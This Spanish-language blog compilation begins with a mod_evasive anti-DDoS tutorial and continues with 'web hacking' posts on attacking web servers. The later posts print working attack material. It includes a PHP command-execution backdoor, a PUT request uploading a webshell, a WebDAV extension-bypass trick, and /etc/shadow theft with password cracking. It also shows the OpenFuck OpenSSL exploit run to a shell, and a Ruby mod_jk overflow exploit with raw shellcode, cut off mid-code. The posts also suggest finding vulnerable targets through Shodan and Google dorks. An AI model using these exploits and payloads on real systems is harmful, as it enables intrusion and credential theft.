martes, 3 de septiembre de 2013

¿Qué es Apache?

Es uno de los servidores webs mas populares debido al gran desarrollo a lo largo de los años, por su seguridad, por su rendimiento y sobre todo porque es gratuito. Además de ello soporta gran cantidad de lenguajes tales como Python, Perl, MySQL and PHP.
Hey blacktibieros acuérdense que cabe destacar que es multi plataforma y podemos hacerlo funcionar en Unix, Linux, Windows.

¿Qué es un ataque DDoS?

Se traduce como Denial Of Service (Denegación de servicio) y su principal cometido es realizar accesos de volúmenes grandes hasta dejar inoperativo el sistema. Generalmente suelen realizar dichos ataques contra lugares de interés por los Hackers como bancos, pasarelas de pago, si pero en la mayoría de los casos de gente NOOB que solo quiere verles su servidor o pagina web offline entonces hacen este tipo de ataque.

Bueno acá les dejo una imagen para los que no sepan lo que es un DDos, este es uno que conseguí en Internet ya que no soy de esos que hacen esa porquería por solo diversión, yo prefiero ayudar a la gente para evitar este tipo de casos, como en este tutorial Very Happy.



Previniendo el ataque

Por suerte existen varios métodos para detener estos ataques. Algunas empresas utilizan un Escudo Proxy que puede detener un ataque DDoS de 4 GB por segundo. Es una de las medidas que mejor funcionan hoy en día. Generalmente estos tipos de aque sólo las grades empresas del Hosting pueden detener.

Para detener pequeños ataques DDoS tenemos firewalls tanto hardware como software. Deteniendo los ataques en su estado inicial sin tener que afectar a la página web.

El problema de estas detecciones es que a pesar de que el ataque este siendo detenido, sigue consumiendo transferencia. Lo único que seria en menor medida.

Previniendo los ataques a través de Apache (mod_evasive)

El método que se puede usar para detener los ataques de DDoS es a través del módulo mod_evasive de Apache.

Este módulo nos permite parar grandes ataques DDoS, detectar tráfico con origen malicioso, trabajar con firewall y ademas enviar o generar reportes de abusos.

El funcionamiento del mod_evasive es crear una tabla de direcciones IP las cuales serán denegadas por el servidor web. Para entrar en dicha lista una IP debe estar consultando muchas veces seguidas y rápidas una url o tener mas de 50 conexiones abiertas simultáneamente.

Generalmente el uso del mod_evasive se suele combinar con elementos de firewall. Casi siempre suele ser en Linux contra iptables o el firewall que se utilice para ese caso.

Debido a la arquitectura y a la creación de este módulo sólo los ataques generados por script son detectados y bloqueados. Con esto queremos decir que si un usuario le da muchas veces a Actualizar (F5) no lo detectará como ataque.

Evidentemente la seguridad en nuestro hosting, empresa o página web es esencial y hoy en día se llevan implementando métodos contra nuevos ataques que vayan surgiendo. Es lo bonito o lo feo según se mire.

Bueno amigos eso fue todo, como saben ahora los hosting "pagos" están ya con esta seguridad, pero esto les puede servir a los hosting gratuitos etc también les recomiendo usar por ejemplo el AntiDos de WiljorxD & el outpost firewall.


Gracias a
http://www.blacktibia.org/t8573-tutorial-como-proteger-tu-servidor-apache-de-ataques-ddos
Miguel

WEB HACKING – Clasificación de Ataques web – Parte IV


Los vectores de ataque más utilizados y mejor aprovechados por atacantes en redes como internet, en un gran porcentaje están relacionados con aplicaciones y servidores web vulnerables. Una de las principales razones de esto es lo fácil que es para un atacante acceder a una potencial víctima desde cualquier ordenador conectado y utilizando herramientas tan comunes como un navegador web, además de que en muchas ocasiones por múltiples razones, se le da muy poca importancia a la seguridad de las aplicaciones y esto al final, trae consecuencias muy negativas que suelen traducirse en servidores hackeados. Todo esto no es un secreto para nadie, sin embargo seguimos desarrollando aplicaciones inseguras y por que? Pueden haber muchas razones, sin embargo esto se debe principal, por desconocimiento y falta de interés o motivación para hacer las cosas bien y al hacer las cosas bien me refiero, a que por lo menos, antes de liberar una aplicación en internet que es critica, realizar al menos, una auditoria de seguridad en profundidad.
Los ataques más comunes que pueden ser aprovechadas por los atacantes, se suelen dividir en dos categorías bien definidas: Ataques Directos y ataques Indirectos.
Los ataques directos tienen como objetivo comprometer el servidor web o simplemente interrumpir su funcionamiento total o parcialmente, mientras que los ataques indirectos (también conocidos como client-side attacks) tienen por objetivo utilizar la aplicación web o la infraestructura del servidor como pivote para realizar ataques a sus clientes. Cuando se realizan ataques indirectos (es decir, atacar a los clientes) suele ser llevado a cabo con mayor facilidad que un ataque directo contra el servidor web y también es posible que sea más nefasto, dado que el atacante puede controlar los contenidos que el cliente va a visualizar en su navegador.
Como se puede apreciar, ambas categorías tienen objetivos distintos, sin embargo para un atacante la meta principal siempre va a ser la misma, intentar controlar el servidor web y/o tener el mayor numero de víctimas posible.

Ataques Directos

Este tipo de ataques suelen aprovechar vulnerabilidades conocidas en aplicaciones o servidores web y normalmente tienen un fuerte impacto, aunque no siempre es así, ya que por ejemplo, el mero hecho de escanear un servidor web en busca de vulnerabilidades puede ser considerado un ataque directo, pero su impacto puede ser nulo si no se detecta ninguna. Algunos los ataques, que pueden llevarse a cabo son:
Escaneo de vulnerabilidades en aplicaciones web:
Actualmente hay una gran cantidad de aplicaciones web para casi una infinidad de propósitos, tales como CMS, LMS, CRM, ERP, etc. Dichas aplicaciones suelen sufrir fallos de seguridad que son descubiertos y posteriormente corregidos, sin embargo el tiempo transcurrido entre el descubrimiento de la vulnerabilidad y su posterior corrección suele ser un periodo en el que dicha aplicación se encuentra prácticamente indefensa, es por este motivo que los atacantes (y por supuesto, los sysadmins también) suelen estar siempre al día de las vulnerabilidades “Zero Day” para dichas aplicaciones. En algunos casos, las vulnerabilidades suelen ser tan frecuentes entre diferentes versiones del mismo producto, que suelen desarrollarse herramientas automatizadas que permitan identificar cualquier tipo de vulnerabilidad conocida en una instancia determinada, ejemplos de estos tipos de escáneres los encontramos en aquellos que son de “propósito general” tales como Nikto y algunos módulos de Metasploit Framework.
Pantallazo
Como muestra la imagen anterior, Nikto ha revelado una importante vulnerabilidad que afecta principalmente a versiones de ColdFusion 7, 8 y 9.
Otras herramientas como Nmap también son útiles para detectar fugas de información y potenciales vulnerabilidades en el servidor web por medio del uso de scripts en NMAP tal como explique anteriormente en este blog http://thehackerway.com/2011/07/27/tecnicas-de-recoleccion-de-informacion-%E2%80%93-scripting-con-nmap/
Pantallazo
En este caso, el uso de algunos de los scripts incluidos en Nmap, nos dan un poco más de información sobre el objetivo que se intenta comprometer, lo que desde luego es muy importante en las primeras etapas de reconocimiento y recolección de información.
Dentro de la sección de escáneres específicos para productos bastante conocidos y utilizados, herramientas como WPScan para sistemas WordPress y JoomblaScan para Joombla son solo algunos casos y nuevamente puede ser muy útil el uso de NMAP y algunos de los scripts incluidos en esta herramienta tales como http-joomla-brute.nse, http-wordpress-brute.nse, http-wordpress-enum.nse y http-wordpress-plugins.nse
wpscan
En la imagen puede apreciarse el uso de WPScan y la forma en la que logra identificar la versión y posibles vulnerabilidades en una instancia de WordPress.
Por otro lado, no nos podemos olvidar de herramientas tan potentes como W3AF y los módulos auxiliares de escaneo para Metasploit Framework, especialmente el plugin WMAP.
wmap
El uso de WMAP puede llevar bastante tiempo, sin embargo es una buena forma de extraer información útil para el análisis y composición del vector de ataque.
Inspección Manual del código fuente de las páginas
Aunque parezca mentira, muchas veces es posible encontrar comentarios en los scripts de JavaScript o directamente en las páginas HTML con información tan importante como nombres de usuarios y contraseñas. Además, también es importante tener presente, cuales ficheros se suben al servidor, ya que puede ocurrir que por error, se suban ficheros fuente con información sensible cuya extensión termina en “~” por ejemplo, “.jsp~”, “.asp~” o “.php~”
Inspección y Manipulación de cabeceras HTTP
Como el lector ya sabe, las cabeceras HTTP permiten intercambiar información entre cliente y servidor web sobre detalles de la transacción HTTP que se lleva a cabo después de enviar una petición (cliente) y emitir una respuesta (servidor). Una practica que se se da con mucha frecuencia (desafortunadamente) es implementar filtros para temas tan importantes como la autenticación y/o autorización de los clientes utilizando como base algunas de las cabeceras HTTP intercambiadas. Por ejemplo, consideremos el siguiente script en PHP:
function ip()

{

if (!empty($_SERVER['HTTP_CLIENT_IP']))

{

$ip = $_SERVER['HTTP_CLIENT_IP'];

} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))

{

$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];

}

else

{

$ip = $_SERVER['REMOTE_ADDR'];

}

return $ip;

}

if ($_POST['data']) {

$ip = explode('.', ip());

if ($ip[0] == '1' && $ip[1] == '2' && $ip[2] == '3') {

$cmd = $_POST['data'];

echo passthru($cmd);

exit();

} else {

echo "Sorry your IP is not authorized\n";

}

}

Este script simplemente obtiene la dirección IP del cliente establecida en alguna de las cabeceras HTTP y permite o deniega la ejecución de un comando enviado por HTTP Post dependiendo de si se encuentra en el rango determinado. Simple y muy peligroso ya que un atacante puede modificar las cabeceras HTTP muy fácilmente utilizando un navegador como el Chrome o la extensión Live HTTP Headers de Firefox y hacer un “spoofing” de la dirección IP, de esta forma se puede hacer pasar por un cliente “legitimo” que cumple con las condiciones exigidas por el script tal como enseña la siguiente imagen.

liveheaders

Aunque las direcciones de atacante y víctima se encuentran ocultas, la imagen anterior enseña perfectamente lo que un atacante puede hacer simplemente con adicionar la cabecera HTTP X-Forwarded-For y establecer una dirección IP que cumpla con el condicional “if” declarado en el script PHP enseñado anteriormente: if ($ip[0] == ’1′ && $ip[1] == ’2′ && $ip[2] == ’3′) dado que el header X-Forwarded-For viene establecido en la petición del cliente, la variable “$ip” tendrá el valor que venga definido en esa cabecera. La cabecera X-Forwarded-For (XFF) en HTTP es el mecanismo por medio del cual, se establece la dirección IP real de un cliente que se conecta a un servidor web por medio de un proxy o un balanceador de carga y aunque es un mecanismo que se encuentra ampliamente difundido y es utilizado con mucha frecuencia, tal como se ha enseñado anteriormente, es un mecanismo que puede ser fácilmente evadido por un atacante. En la próxima publicación, continuaré hablando sobre otros ataques directos (con ejemplos) que pueden resultar devastadores.

Miguel

WEB HACKING – Arquitecturas web vulnerables – Parte III



En la anterior publicación se hablaba de las dos principales categorías de ataques que pueden llevarse acabo contra un servidor web, explicando algunos ataques directos que son bastante frecuentes contra aplicaciones vulnerables, en esta publicación se hablará un poco más sobre algunos de los vectores de ataque directos contra el servidor o aplicaciones web y también se hablará sobre algunos ataques indirectos cuyo objetivo es utilizar el servidor web para comprometer a los clientes de aplicaciones web vulnerables.
Métodos HTTP Peligrosos
Los métodos HTTP son fundamentales para que los clientes puedan comunicarse eficientemente con servidores, se encuentran definidos como parte del protocolo HTTP así que son independientes de la plataforma del servidor. Son útiles para que un cliente pueda realizar varios tipos de operaciones sobre el servidor web, de hecho, el simple hecho de consultar una página con un navegador web, ya implica el uso de estos métodos. Sin embargo, cuando un servidor web no se encuentra correctamente configurado y permite el uso público de algunos de estos métodos (especialmente aquellos que permiten manipular la estructura del servidor) es cuando aparecen los problemas. Métodos HTTP tales como PUT, COPY, MOVE o DELETE permiten que un cliente pueda subir un contenidos, copiar, mover o eliminar elementos existentes en el servidor, estos métodos pueden ser utilizados por un atacante para subir una webshell en el servidor, eliminar páginas o modificar contenidos existentes, resulta evidente que no se debe permitir que cualquier cliente pueda utilizar dichos métodos contra un servidor web.
niktoscan
En este caso, Nikto ha detectado que el servidor web analizado soporta varios métodos HTTP peligrosos, tales como PUT, DELETE, entre otros, por lo tanto es un objetivo que puede ser vulnerable. Aunque también es importante apreciar, que en este servidor hay una instancia de WebDAV, por lo tanto es posible que el uso de estos métodos se encuentre restringido a solamente unos cuantos usuarios validos (esto se tratará en unos párrafos más abajo). Cuando un atacante quiere comprobar si puede subir ficheros o realizar cualquier tipo de modificación en el servidor web utilizando estos métodos, puede hacerlo fácilmente utilizandotelnet, netcat o directamente desde un script (en python, ruby o perl por ejemplo), también es posible utilizar Burp Proxy para este cometido. Por ejemplo para subir un fichero utilizando el método PUT:
PUT /ntdaddy.txt HTTP/1.1
Host: 10.10.10.10
Content-Length: 42798

Contenido de la WebShell.
La respuesta retornada por el servidor web, indicando que el servidor web admite el método PUT, seria similar a la siguiente
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.1
Date: Sun, 12 Aug 2012 09:10:00 GMT
HTTP/1.1 201 Created
Server: Microsoft-IIS/5.1
Date: Sun, 12 Aug 2012 09:10:01 GMT
Location: http://10.10.10.10/ntdaddy.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK
Lo mismo se puede conseguir utilizando Burp Proxy en la pestaña repeater
repeater
Como se puede apreciar, el resultado es el mismo.
Instalaciones con WebDav inseguras o mal configuradas
WebDAV es una extensión del protocolo HTTP que permite a los usuarios utilizar los servidores web como un recurso donde se pueden crear, modificar y/o eliminar documentos. La finalidad de este protocolo es simplemente permitir a los usuarios compartir sus documentos de forma centralizada añadiendo algunos métodos y headers adicionales al protocolo HTTP estándar, tales como COPY y MOVE, además también es posible utilizar un mecanismo de autenticación y autorización que permitirá que solamente usuarios legítimos puedan realizar determinadas acciones tan riesgosas como subir ficheros al servidor web. Sin embargo, los beneficios de WebDav pueden ser contraproducentes desde el punto de vista de la seguridad del servidor web si no se toman las medidas oportunas.
Desde la posición de un atacante, cuenta con un buen conjunto de herramientas que le permitirán determinar si puede realizar un ataque contra el servidor web, típicamente intentando subir ficheros maliciosos a alguno de los directorios del servidor, por ejemplo, utilizando metasploit framework se puede extraer información interesante
webdaviis

NMAP también cuenta con un script que permite extraer información de un servidor con WebDAV habilitado
webdavnmap
Como se puede apreciar, el servidor web objetivo tiene WebDAV habilitado y se trata de un servidor web IIS versión 6.0 Es posible que gracias a esta extensión el uso de métodos potencialmente peligrosos sea restringido y solamente unos cuantos usuarios puedan hacer uso de ellos, en tales casos el uso del método HTTP PUT, COPY o MOVE probablemente retornará un código de error HTTP 403 indicando que no hay autorización para utilizar dicho método o también, que no se puede utilizar para subir ficheros potencialmente peligrosos para el servidor web, tales como ficheros con contenido dinámico, típicamente ficheros con extensión .PHP .ASP, .JSP, etc.
Sin embargo un servidor con WebDAV vulnerable puede tener consecuencias muy negativas, por ejemplo, en la versión 6.0 de IIS existe una vulnerabilidad que permite a un atacante realizar un “bypass” de las restricciones impuestas para mover o copiar ficheros con contenido dinámico. De este modo, es posible utilizar el método PUT para subir un fichero de texto con extensión TXT y posteriormente moverlo a una extensión diferente (ASP, JSP, PHP)
copyburp
Como se puede apreciar, el método COPY ha retornado un código HTTP 403 indicando que no es posible realizar la operación de copiado solicitada, sin embargo, si el Destination de la petición cambia con /webshell.asp;.txt el resultado es distinto, tal como se puede ver a continuación:
copyburp
El fichero ha sido copiado y ahora, se puede ejecutar el código ASP que se encuentre incluido en dicha página (previamente subido con extensión txt con el método PUT).
Estos son solo unos pocos ejemplos de ataques directos contra la infraestructura de un servidor web, no obstante existen muchísimas más formas de atacar un servidor web de forma directa, como se verá a lo largo de las siguientes publicaciones.


Miguel

WEB HACKING – Ataques directos contra servidores web – ParteI

En la publicación anterior se ha hablado sobre algunos ataques básicos contra la infraestructura de un servidor web y se ha mencionado la importancia que tiene un buen proceso de recolección de información para llevar a cabo cualquier tipo de ataque, en esta ocasión, se hablará un poco más sobre otros tipos de ataques frecuentes contra servidores web, tanto aprovechando vulnerabilidades relacionadas directamente con el servidor, así como también vulnerabilidades relacionadas con alguna de las aplicaciones web que se ejecutan en el mismo.
Aprovechando Vulnerabilidades en servidores Web
Aunque es un vector de ataque que en ocasiones resulta difícil de conseguir dado que los principales servidores web utilizados actualmente (tales como Apache HTTPD, IIS o Ngnix) suelen actualizarse con bastante frecuencia y las vulnerabilidades descubiertas se suelen remediar rápidamente, de esta manera, normalmente los servidores web vulnerables son aquellos que no cuentan con las actualizaciones necesarias. Sin embargo, existen otros servidores web que si bien, no son de un uso tan extendido, suelen ser frecuentes en Internet y también, suelen llevar consigo vulnerabilidades conocidas y bien documentadas. En este publicación intentaré dar ejemplos de algunos de estos servidores web vulnerables explicando como se pueden llegar a comprometer.
Por otro lado, para encontrar objetivos en internet con vulnerabilidades como las que se describen a continuación, se puede utilizar Google, Bing o Shodan, en este sentido se recomienda leer el libro de Enrique Rando sobre “Hacking con Buscadores” el cual ha sido publicado por Informatica64: www.informatica64.com/libros.aspx?id=hackingBuscadores. Además, también se recomienda el uso de GHDB (Google Hacking Database) la cual contiene un amplio repositorio de GoogleDorks organizado por diferentes categorías:http://www.exploit-db.com/google-dorks/
A continuación se enseñan vulnerabilidades en algunos servidores web de uso no tan frecuente, pero que aun así pueden ser fácilmente localizados en Internet:
Servidor: CoreHTTP
Se trata de un servidor web liviano y rápido que permite atender a múltiples peticiones con un nivel de respuesta bastante bueno, es fácil de configurar y de instalar, con lo que no se necesitan conocimientos tan profundos como en el caso de otros servidores web como Apache HTTPD. Sin embargo, los problemas vienen en este servidor web cuando se encuentra habilitado el soporte para CGI, ya que no es estable ni seguro, de hecho, la vulnerabilidad que se describe a continuación depende de que el servidor tenga el soporte CGI habilitado. Si el lector tiene interés por conocer mejor este servidor web, pueden conocerse más detalles sobre su funcionamiento aquí: http://corehttp.sourceforge.net/
En primer lugar, es posible saber si el servidor web se encuentra en ejecución en la máquina objetivo utilizando NMAP o Nikto
niktocorehttpd
Como puede apreciarse, el servidor se encuentra en ejecución en el puerto 10443 y la versión del servidor web es la 0.5.3.1
Desde securityfocus.com hace algún tiempo se ha dado publicado un reporte sobre una vulnerabilidad critica en este servidor web, que permite a un atacante ejecutar comandos arbitrarios sobre el sistema si el servidor web tiene habilitado el soporte para CGI. El reporte de la vulnerabilidad puede encontrarse aquí: http://www.securityfocus.com/bid/37454
Por otro lado, existe un exploit disponible para ejecutar con Metasploit Framework, sin embargo, dicho exploit no se encuentra disponible en el repositorio de Metasploit, por lo tanto es necesario instalarlo de forma manual. El exploit se encuentra disponible aquí:http://www.securityfocus.com/data/vulnerabilities/exploits/37454.rb en este caso concreto, para utilizarlo, lo he incluido en el directorio /modules/exploits/multi/http. Posteriormente, he iniciado la consola de Metasploit Framework para ejecutarlo.
corehttpdmsf
El exploit intenta crear una BindShell en el sistema objetivo utilizando el puerto 4444 como punto de conexión, de esta forma es posible utilizar Netcat o cualquier otra herramienta para conectar con dicho puerto y de esta forma obtener una shell en el sistema objetivo.
nccorehttpd
Servidor: WebMin/UserMin
WebMin es una plataforma bastante robusta que permite la administración remota de múltiples sistemas basados en Unix, permitiendo realizar operaciones de mantenimiento sobre máquinas en un segmento de red y tareas de administración tales como gestión de servicios, cuentas de usuarios, archivos de configuración, etc. UserMin es una versión reducida de WebMin con menos caracteristicas pero siguiendo el mismo enfoque de control de sistemas de forma remota. Tanto WebMin como UserMin utilizan su propio proceso de servidor, que es independiente de otros servidores web disponibles actualmente en el mercado.
Las versiones inferiores a la 1.290 de WebMin y 1.220 de UserMin tienen una vulnerabilidad del tipo Arbitrary File Disclosure (Divulgación Arbitraria de ficheros) con la que un atacante podría intentar acceder a información sensible del sistema objetivo y posteriormente componer su vector de ataque en base a la información capturada, por ejemplo, si el servidor web se ejecuta con privilegios de root, es posible que un atacante pueda acceder a los contenidos de los ficheros /etc/passwd y /etc/shadow para posteriormente realizar un ataque offline y obtener las contraseñas de las cuentas de usuario con passwords débiles.
Nuevamente, es posible utilizar Nmap, Nikto o cualquier otra herramienta para conseguir el banner del servidor web.
nmapusermin
Como se puede apreciar en la imagen, el objetivo tiene instalado WebMin en el puerto 10000 y tal como se describe aquí: http://www.exploit-db.com/exploits/2017/ es posible utilizar el exploit disponible para obtener de forma arbitraria los contenidos de los ficheros/etc/passwd y /etc/shadow
passwd
Contenido del fichero /etc/passwd
shadow
Contenido del fichero /etc/shadow
Con esta información, un atacante podría ejecutar un ataque offline utilizando John The Ripper (u otra aplicación) siguiendo la siguiente rutina:
./unshadow passwdFile shadowFile > passwords.db
./john 241passwords.db

Loaded 3 password hashes with 3 different salts (FreeBSD MD5 [32/64 X2])
root           (ChangeMe)
 Estos han sido, solamente un par de ejemplos de como atacar de forma directa la infraestructura de un servidor web vulnerable, en la próxima publicación, habrán más ejemplos.

Miguel

WEB HACKING – Algunos Ataques directos contra servidores web Apache  Parte II

En la publicación anterior se ha hablado de sobre algunos ataques directos contra servidores web con vulnerabilidades conocidas. En esta publicación y en la próxima se hablará sobre algunas de las vulnerabilidades más criticas que ha sufrido el servidor web más utilizado del mundo: Apache HTTPD Web Server con algunos ejemplos para comprender en que consisten.

Vulnerabilidad de Buffer OverFlow en OpenSSL

El uso de OpenSSL en servidores web Apache HTTPD, ha sido una buena elección a la hora de habilitar en el servidor la capacidad de cifrar el canal de comunicación y poder establecer conexiones seguras utilizando el protocolo SSL, sin embargo no siempre ha sido tan seguro y estable como las más recientes versiones de esta librería, de hecho han habido vulnerabilidades muy conocidas y graves que han afectado a miles de servidores en internet, como por ejemplo la vulnerabilidad de PRGN sobre sistemas basados en Debian (http://www.debian.org/security/2008/dsa-1571).
En este caso, el servidor web Apache HTTPD también se ha visto afectado por vulnerabilidades relacionadas con OpenSSL, una de las más conocidas y de la que se va a hablar en las siguentes lineas es una vulnerabilidad de Buffer Overflow que afecta principalmente a las versiones de OpenSSL 0.9.6b e inferiores, el informe completo de esta vulnerabilidad puede verse aquí: http://www.securityfocus.com/bid/5363/info
Si un servidor web utiliza el modulo mod_ssl haciendo uso de una versión de OpenSSLvulnerable, el servidor web puede ser atacado de forma directa sin importar si las aplicaciones instaladas son vulnerables o no.
nmapapache
La imagen anterior enseña un servidor web Apache que soporta SSL y gracias al escaneo con Nmap (-A) se ha podido identificar la versión de mod_ssl y OpenSSL (la cual es claramente, vulnerable).
Ahora bien, existe un exploit que fue publicado hace algunos años para aprovechar estar vulnerabilidad, sin embargo, debido a que desde entonces las librerías de desarrollo para OpenSSL han tenido algunos cambios, es necesario realizar unas pequeñas adaptaciones, el exploit original se encuentra localizado aquí: http://www.securityfocus.com/bid/5363/exploit
Y las modificaciones que he realizado, para poder compilar y posteriormente ejecutar dicho exploit desde mi máquina (Debian Squeeze) se encuentran disponibles aquí:
Compilar el exploit es sencillo utilizando GCC
>gcc OpenFuck.c -o OpenFuck -lcrypto
OpenFuck.c: In function ‘get_server_hello’:
OpenFuck.c:1011: warning: passing argument 2 of ‘d2i_X509’ from incompatible pointer type
/usr/include/openssl/x509.h:940: note: expected ‘const unsigned char **’ but argument is of type ‘unsigned char **’
Posteriormente, solamente es necesario identificar cual es la plataforma del sistema objetivo, el escaneo anterior indica que hay una alta probabilidad de que se trate de un sistema RedHat, así que:
>./OpenFuck 0×73 192.168.17.222 443
*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam – LSD-pl – SolarEclipse – CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
Establishing SSL connection
cipher: 0x4070d0ac   ciphers: 0x81c6788
Ready to send shellcode
Spawning shell…
bash: no job control in this shell
bash-2.05a$
De esta forma, un atacante puede conseguir una shell en el sistema objetivo aprovechando esta vulnerabilidad.
Aunque se pueda creer que es una vulnerabilidad difícil de exploitar, dado que es bastante antigua, es impresionante la cantidad de sistemas que se encuentran prácticamente abandonados y que no se actualizan desde hace años. Un llamado de atención a todos aquellos sysadmins que no tienen debidamente actualizados sus sistemas.

Vulnerabilidad de OverFlow en el módulo MOD_JK de Apache.

MOD_JK es un módulo para Apache HTTPD que permite redireccionar peticiones recibidas por el servidor web hacia el Servlet Container de Apache Tomcat. Se trata de un modulo que suele ser empleado como balanceador de carga entre una o varias instancias de Apache y uno o varios nodos de servidores de aplicaciones como Glassfish, WAS o JBOSS, de hecho, ese suele ser el uso más frecuente de este módulo. Sin embargo, durante los últimos años, una solución que puede resultar mucho más manejable y robusta es el módulo Mod_Proxy, del cual se ha hablado anteriormente en este blog:http://thehackerway.com/2012/11/15/2074/
Reproducir esta vulnerabilidad para fines de estudio es sencillo (y se explicará a continuación). En primer lugar hay que tener presente que se produce en MOD_JK 1.2.19 y 1.2.20, por lo que para reproducirla es necesario instalar alguna de esas versiones. Para este caso concreto, la plataforma que se utilizará será la siguiente:
Sistema Operativo: Windows XP SP3.
Ahora bien, ahora solamente es necesario incluir el módulo dentro del directorio de módulos de Apache (ver publicaciones anteriores) e cargarlo tal como se indica en la siguiente configuración:
LoadModule jk_module modules/mod_jk.so
# Where to find workers.properties
JkWorkersFile conf/workers.properties
# Where to put jk logs
JkLogFile logs/mod_jk.log
# Set the jk log level [debug/error/info]
JkLogLevel info
# Select the log format
JkLogStampFormat “[%a %b %d %H:%M:%S %Y]“
# JkOptions indicates to send SSK KEY SIZE
JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories
# JkRequestLogFormat
JkRequestLogFormat “%w %V %T”
# Mount your applications
JkMount /application/* ajp13
# You can use external file for mount points.
# It will be checked for updates each 60 seconds.
# The format of the file is: /url=worker
# /examples/*=loadbalancer
JkMountFile conf/uriworkermap.properties
# Add shared memory.
# This directive is present with 1.2.10 and
# later versions of mod_jk, and is needed for
# for load balancing to work properly
JkShmFile logs/jk.shm
# Add jkstatus for managing runtime data
JkMount status
Order deny,allow
Allow from all
Como se puede apreciar, tienen que existir los ficheros conf/workers.properties yconf/uriworkermap.properties los cuales podrían contener el siguiente contenido.
workers.properties
# BEGIN workers.properties
# Definition for Ajp13 worker
worker.list=ajp13
worker.ajp13.port=8009
worker.ajp13.host=127.0.0.1
worker.ajp13.type=ajp13
# END workers.properties
uriworkermap.properties
/jmx-console=ajp13
/jmx-console/*=ajp13
/web-console=ajp13
/web-console/*=ajp13
/examples/jsp=ajp13
/examples/jsp/*=ajp13
Se puede o no, instalar un servidor web como Tomcat o un servidor de aplicaciones como JBoss, estos ficheros simplemente son útiles para que el servidor web pueda realizar las redirecciones hacia el backend (del mismo modo que funciona mod_proxy).
Si la configuración es correcta, el banner del servidor web deberá contener el módulo cargado y su versión (mod_jk 1.2.20), lo cual se puede comprobar con un escaneo con NMAP con la opción de identificar la versión del servidor (-sV) o simplemente abriendo el monitor de servicios de apache.
apachemonitor
Con esta configuración, es posible explotar esta vulnerabilidad utilizando metasploit framework tal como se enseña en la siguiente imagen

apache4444
Tambien es posible utilizar el siguiente exploit, que he escrito en Ruby partiendo del exploit creado en Metasploit Framework
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/ruby
require 'net/http'
require 'uri'
require 'socket'
targetip = ARGV[0]
targetport = ARGV[1]
sc_base = 16
puts "[+] Target => #{targetip}:#{targetport}"
shellcode = "\x6a\x56\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb3" +
"\xf7\x90\x8d\x83\xeb\xfc\xe2\xf4\x4f\x1f\x19\x8d\xb3\xf7" +
"\xf0\x04\x56\xc6\x42\xe9\x38\xa5\xa0\x06\xe1\xfb\x1b\xdf" +
"\xa7\x7c\xe2\xa5\xbc\x40\xda\xab\x82\x08\xa1\x4d\x1f\xcb" +
"\xf1\xf1\xb1\xdb\xb0\x4c\x7c\xfa\x91\x4a\x51\x07\xc2\xda" +
"\x38\xa5\x80\x06\xf1\xcb\x91\x5d\x38\xb7\xe8\x08\x73\x83" +
"\xda\x8c\x63\xa7\x1b\xc5\xab\x7c\xc8\xad\xb2\x24\x73\xb1" +
"\xfa\x7c\xa4\x06\xb2\x21\xa1\x72\x82\x37\x3c\x4c\x7c\xfa" +
"\x91\x4a\x8b\x17\xe5\x79\xb0\x8a\x68\xb6\xce\xd3\xe5\x6f" +
"\xeb\x7c\xc8\xa9\xb2\x24\xf6\x06\xbf\xbc\x1b\xd5\xaf\xf6" +
"\x43\x06\xb7\x7c\x91\x5d\x3a\xb3\xb4\xa9\xe8\xac\xf1\xd4" +
"\xe9\xa6\x6f\x6d\xeb\xa8\xca\x06\xa1\x1c\x16\xd0\xdb\xc4" +
"\xa2\x8d\xb3\x9f\xe7\xfe\x81\xa8\xc4\xe5\xff\x80\xb6\x8a" +
"\x4c\x22\x28\x1d\xb2\xf7\x90\xa4\x77\xa3\xc0\xe5\x9a\x77" +
"\xfb\x8d\x4c\x22\xc0\xdd\xe3\xa7\xd0\xdd\xf3\xa7\xf8\x67" +
"\xbc\x28\x70\x72\x66\x7e\x57\xbc\x68\xa4\xf8\x8f\xb3\xe6" +
"\xcc\x04\x55\x9d\x80\xdb\xe4\x9f\x52\x56\x84\x90\x6f\x58" +
"\xe0\xa0\xf8\x3a\x5a\xcf\x6f\x72\x66\xa4\xc3\xda\xdb\x83" +
"\x7c\xb6\x52\x08\x45\xda\x3a\x30\xf8\xf8\xdd\xba\xf1\x72" +
"\x66\x9f\xf3\xe0\xd7\xf7\x19\x6e\xe4\xa0\xc7\xbc\x45\x9d" +
"\x82\xd4\xe5\x15\x6d\xeb\x74\xb3\xb4\xb1\xb2\xf6\x1d\xc9" +
"\x97\xe7\x56\x8d\xf7\xa3\xc0\xdb\xe5\xa1\xd6\xdb\xfd\xa1" +
"\xc6\xde\xe5\x9f\xe9\x41\x8c\x71\x6f\x58\x3a\x17\xde\xdb" +
"\xf5\x08\xa0\xe5\xbb\x70\x8d\xed\x4c\x22\x2b\x7d\x06\x55" +
"\xc6\xe5\x15\x62\x2d\x10\x4c\x22\xac\x8b\xcf\xfd\x10\x76" +
"\x53\x82\x95\x36\xf4\xe4\xe2\xe2\xd9\xf7\xc3\x72\x66\xf7" +
"\x90\x8d"
buffer = "\x41"*5001
buffer[sc_base, shellcode.length] = shellcode
[ 4343, 4407, 4423 ].each { |seh_offset|
buffer[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
buffer[seh_offset - 4, 2] = "\xeb\xf9"
